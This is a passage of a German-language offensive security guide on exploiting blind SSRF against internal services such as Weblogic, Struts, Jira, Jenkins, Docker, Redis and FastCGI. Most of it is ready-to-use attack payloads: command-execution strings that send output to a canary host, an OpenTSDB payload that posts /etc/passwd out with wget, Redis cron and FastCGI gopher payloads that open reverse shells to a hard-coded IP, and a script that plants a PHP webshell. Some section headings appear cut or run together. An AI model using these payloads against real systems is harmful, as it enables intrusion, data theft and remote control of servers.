Sie können davon ausgehen, dass das `es` für Elasticsearch steht, und dann weitere Angriffe auf diesen Host durchführen. Sie können auch alle diese blinden SSRF-Payloads auf alle "internen" Hosts verteilen, die mit dieser Methode identifiziert wurden. Das ist oft wirksam.

Um weitere interne Hosts zu finden, empfehle ich, alle Ihre DNS-Daten zu nehmen und dann etwas wie [AltDNS](https://github.com/infosec-au/altdns) zu verwenden, um Permutationen zu erzeugen, und diese dann mit einem [schnellen DNS-Bruteforcer](https://github.com/blechschmidt/massdns) aufzulösen.

Sobald dies abgeschlossen ist, identifizieren Sie alle neu entdeckten internen Hosts und verwenden Sie sie als Teil Ihrer blinden SSRF-Kette.

## Seitenkanal-Lecks

Wenn Sie blinde SSRF-Schwachstellen ausnutzen, können Sie möglicherweise einige Informationen über die zurückgegebene Antwort preisgeben. Angenommen, Sie haben beispielsweise eine blinde SSRF über eine XXE, dann können die Fehlermeldungen anzeigen, ob:

- Eine Antwort wurde zurückgegeben 

`Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.`

vs.

- Host und Port sind nicht erreichbar

`Error parsing request: System.Net.WebException: Unable to connect to the remote server`

Ähnlich kann eine Webanwendung auch außerhalb von XXEs ein Seitenkanal-Leck aufweisen, das durch die Untersuchung von Unterschieden in den folgenden Bereichen festgestellt werden kann:

- **Antwortstatuscode**: 

Online-interner Asset:Port antwortet mit `200 OK` vs Offline-interner Asset:Port `500 Internal Server Error`

- **Antwortinhalte**: 

Die Antwortgröße in Bytes ist kleiner oder größer, je nachdem, ob die URL, die Sie anfordern möchten, erreichbar ist oder nicht.

- **Antwortzeiten**: 

Die Antwortzeiten sind langsamer oder schneller, je nachdem, ob die URL, die Sie anfordern möchten, erreichbar ist oder nicht.

---------------

# Techniken
**Möglich über HTTP(s)**

- [Elasticsearch](#elasticsearch)
- [Weblogic](#weblogic)
- [Hashicorp Consul](#consul)
- [Shellshock](#shellshock)
- [Apache Druid](#druid)
- [Apache Solr](#solr)
- [PeopleSoft](#peoplesoft)
- [Apache Struts](#struts)
- [JBoss](#jboss)
- [Confluence](#confluence)
- [Jira](#jira)
- [Andere Atlassian-Produkte](#atlassian-products)
- [OpenTSDB](#opentsdb)
- [Jenkins](#jenkins)
- [Hystrix Dashboard](#hystrix)
- [W3 Total Cache](#w3)
- [Docker](#docker)
- [Gitlab Prometheus Redis Exporter](#redisexporter)

**Möglich über Gopher**

- [Redis](#redis)
- [Memcache](#memcache)
- [Apache Tomcat](#tomcat)
- [FastCGI](#fastcgi)
- [Java RMI](#java-rmi)

**Werkzeuge**

- [Gopherus](#gopherus)
- [remote-method-guesser](#remote-method-guesser)
- [SSRF Proxy](#ssrfproxy)

----------------------------------

**Möglich über HTTP(s)**

<div id="elasticsearch"></div>

## Elasticsearch

**Üblicherweise gebundener Port: 9200**

Wenn Elasticsearch intern bereitgestellt wird, erfordert es normalerweise keine Authentifizierung. 

Wenn Sie eine teilweise blinde SSRF haben, bei der Sie den Statuscode bestimmen können, prüfen Sie, ob die folgenden Endpunkte eine 200 zurückgeben:```http
/_cluster/health
/_cat/indices
/_cat/health

<div id="weblogic"></div>

## Weblogic

**Häufig verwendete Ports: 80, 443 (SSL), 7001, 8888**

**SSRF Canary: UDDI Explorer (CVE-2014-4210)**```http
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded

operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

Dieser Endpunkt ist ebenfalls anfällig für CRLF-Injection:```
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close

**SSRF Canary: CVE-2020-14883**

Entnommen von [hier](https://forum.90sec.com/t/topic/1412).

Linux:```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")

<div id="consul"></div>

## Hashicorp Consul

**Häufig verwendete Ports: 8500, 8501 (SSL)**

Ein Writeup finden Sie [hier](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).

<div id="shellshock"></div>

## Shellshock

**Häufig verwendete Ports: 80, 443 (SSL), 8080**

Um Shellshock effektiv zu testen, müssen Sie möglicherweise einen Header hinzufügen, der den Payload enthält. Die folgenden CGI-Pfade sind einen Versuch wert:

Kurze Liste von CGI-Pfaden zum Testen:

[Gist mit Pfaden](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).

**SSRF Canary: Shellshock über User Agent**```bash
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY

Shutdown-Aufgaben, bei denen du Aufgaben-IDs oder den Datasource-Namen erraten musst:```bash
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks

<div id="solr"></div>

## Apache Solr

**Üblicherweise belegter Port: 8983**

**SSRF-Canary: Shards-Parameter**

<blockquote class="twitter-tweet" data-conversation="none" data-theme="dark"><p lang="en" dir="ltr">Um zu ergänzen, was shubham sagt – das Scannen nach Solr ist relativ einfach. Es gibt einen shards=-Parameter, mit dem du SSRF zu SSRF weiterleiten kannst, um zu überprüfen, ob du blind auf eine Solr-Instanz triffst.</p>&mdash; Хавиж Наффи 🥕 (@nnwakelam) <a href="https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw">13. Januar 2021</a></blockquote>

Entnommen von [hier](https://github.com/veracode-research/solr-injection).```bash
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr 
/xxx?q=aaa&shards=http://SSRF_CANARY/solr

**RCE über dataImportHandler**

[Forschung zu RCE über dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)

<div id="peoplesoft"></div>

## PeopleSoft

**Üblicherweise gebundene Ports: 80,443 (SSL)**

Entnommen aus dieser Forschung [hier](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).

**SSRF Canary: XXE #1**```http
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
   <ExternalOperationName>&x;</ExternalOperationName>
   <OperationType/>
   <From><RequestingNode/>
      <Password/>
      <OrigUser/>
      <OrigNode/>
      <OrigProcess/>
      <OrigTimeStamp/>
   </From>
   <To>
      <FinalDestination/>
      <DestinationNode/>
      <SubChannel/>
   </To>
   <ContentSections>
      <ContentSection>
         <NonRepudiation/>
         <MessageVersion/>
         <Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
         </Data>
      </ContentSection>
   </ContentSections>
</IBRequest>

<div id="struts"></div>

## Apache Struts

**Üblicherweise gebundene Ports: 80,443 (SSL),8080,8443 (SSL)**

Entnommen von [hier](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).

**SSRF-Canary: Struts2-016**:

Füge dies an das Ende jedes internen Endpunkts bzw. jeder internen URL an, die du kennst:```http
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

<div id="confluence"></div>

## Confluence

**Üblicherweise gebundene Ports: 80,443 (SSL),8080,8443 (SSL)**

**SSRF Canary: Sharelinks  (Confluence-Versionen von November 2016 und älter)**```bash
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/

<div id="jira"></div>

## Jira

**Üblicherweise gebundene Ports: 80,443 (SSL),8080,8443 (SSL)**

**SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**

[Atlassian-Sicherheitsticket OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

<div id="atlassian-products"></div>

## Weitere Atlassian-Produkte

**Häufig gebundene Ports: 80,443 (SSL),8080,8443 (SSL)**

**SSRF-Canary: iconUriServlet (CVE-2017-9506)**:
- Bamboo < 6.0.0
- Bitbucket < 4.14.4
- Crowd < 2.11.2
- Crucible < 4.3.2
- Fisheye < 4.3.2

[Atlassian Security-Ticket OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

[OpenTSDB 2.4.0 Remote Code Execution](https://github.com/OpenTSDB/opentsdb/issues/2051)

**SSRF Canary: curl via RCE - CVE-2020-35476**```bash
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

**RCE**

Befolgen Sie die Anweisungen hier, um RCE per GET zu erreichen: [Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)```bash
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;

<div id="hystrix"></div>

## Hystrix Dashboard

**Üblicherweise belegte Ports: 80,443 (SSL),8080**

Spring Cloud Netflix, Versionen 2.2.x vor 2.2.4, Versionen 2.1.x vor 2.1.6.

**SSRF Canary: CVE-2020-5412**```bash
/proxy.stream?origin=http://SSRF_CANARY/

**SSRF Canary**

Das Advisory zu dieser Schwachstelle wurde hier veröffentlicht: [W3 Total Cache SSRF-Sicherheitslücke](https://klikki.fi/adv/w3_total_cache.html)

Dieser PHP-Code generiert ein Payload für Ihren SSRF-Canary-Host (ersetzen Sie `url` durch Ihren Canary-Host):```php
<?php

$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);

?>

**RCE durch das Ausführen eines beliebigen Docker-Images**```http
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...

{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}

**Möglich über Gopher**

<div id="redis"></div>

## Redis

**Üblicherweise gebundener Port: 6379**

Empfohlene Lektüre:

- [Trying to hack Redis via HTTP requests](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
- [SSRF Exploits against Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)

**RCE über Cron** - [Gopher Attack Surfaces](https://blog.chaitin.cn/gopher-attack-surfaces/)```bash
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

**RCE per Shell-Upload (PHP)** - [Redis Getshell Zusammenfassung](https://www.mdeditor.tw/pl/pBy0)```python
#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379" 
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var" 
passwd=""

cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

**RCE auf GitLab über das Git-Protokoll**

Tolle Ausarbeitung von Liveoverflow [hier](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/).

Obwohl dies authentifizierten Zugriff auf GitLab erforderte, um es auszunutzen, nehme ich den Payload hier auf, da das `git`-Protokoll auf dem Ziel, das du hackst, funktionieren könnte. Dieser Payload dient als Referenz.```bash
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

<div id="tomcat"></div>

## Apache Tomcat

**Häufig belegte Ports: 80,443 (SSL),8080,8443 (SSL)**

Nur gegen Tomcat 6 wirksam:

[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)

CTF-Writeup unter Verwendung dieser Technik:

[Von XXE zu RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)


<div id="fastcgi"></div>

## FastCGI

**Häufig belegte Ports: 80,443 (SSL)**

Dies wurde von [hier](https://blog.chaitin.cn/gopher-attack-surfaces/) übernommen.```bash
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

**Werkzeuge**

<div id="gopherus"></div>

## Gopherus

- [Gopherus - Github](https://github.com/tarunkant/Gopherus)
- [Blogbeitrag über Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)

Dieses Tool erzeugt Gopher-Payloads für:

- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache


<div id="remote-method-guesser"></div>

## remote-method-guesser

- [remote-method-guesser - Github](https://github.com/qtc-de/remote-method-guesser)
- [Blogbeitrag zur SSRF-Nutzung](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)

*remote-method-guesser* ist ein *Java RMI*-Schwachstellenscanner, der Angriffsoperationen für die meisten gängigen *Java RMI*-Schwachstellen unterstützt. Die meisten verfügbaren Operationen unterstützen die Option ``--ssrf``, um ein *SSRF*-Payload für die
angeforderte Operation zu erzeugen. Zusammen mit der Option ``--gopher`` können direkt einsatzbereite *gopher*-Payloads erzeugt werden.


<div id="ssrfproxy"></div>

## SSRF Proxy

- [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)

SSRF Proxy ist ein multithreaded HTTP-Proxy-Server, der dafür ausgelegt ist, Client-HTTP-Datenverkehr durch HTTP-Server zu tunneln, die anfällig für Server-Side Request Forgery (SSRF) sind.

---

Danksagungen:

Wir danken den folgenden Personen, die zu diesem Beitrag beigetragen haben:

- [@Rhynorater - Zahlreiche Beiträge zu diesem Blogbeitrag](https://twitter.com/Rhynorater)
- [@nnwakelam - Solr Shards SSRF](https://twitter.com/nnwakelam)
- [@marcioalm - Tomcat 6 Gopher RCE](https://twitter.com/marcioalm)
- [@vtnahira - OpenTSDB RCE](https://twitter.com/vtnahira)
- [@fransrosen - SSRF-Canaries-Konzept](https://twitter.com/fransrosen)
- [@theabrahack - RCE über Jenkins Groovy](https://twitter.com/@theabrahack)
- [@qtc_de - RCE über Java RMI](https://twitter.com/qtc_de)